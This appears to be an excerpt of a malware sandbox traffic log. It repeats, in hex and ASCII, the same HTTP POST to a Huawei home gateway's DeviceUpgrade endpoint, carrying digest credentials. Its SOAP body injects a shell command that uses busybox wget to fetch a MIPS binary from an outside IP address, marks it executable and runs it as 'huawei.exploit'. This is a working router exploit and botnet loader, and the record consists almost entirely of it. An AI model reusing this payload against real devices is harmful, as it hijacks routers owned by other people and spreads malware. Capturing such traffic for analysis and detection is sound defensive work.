2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
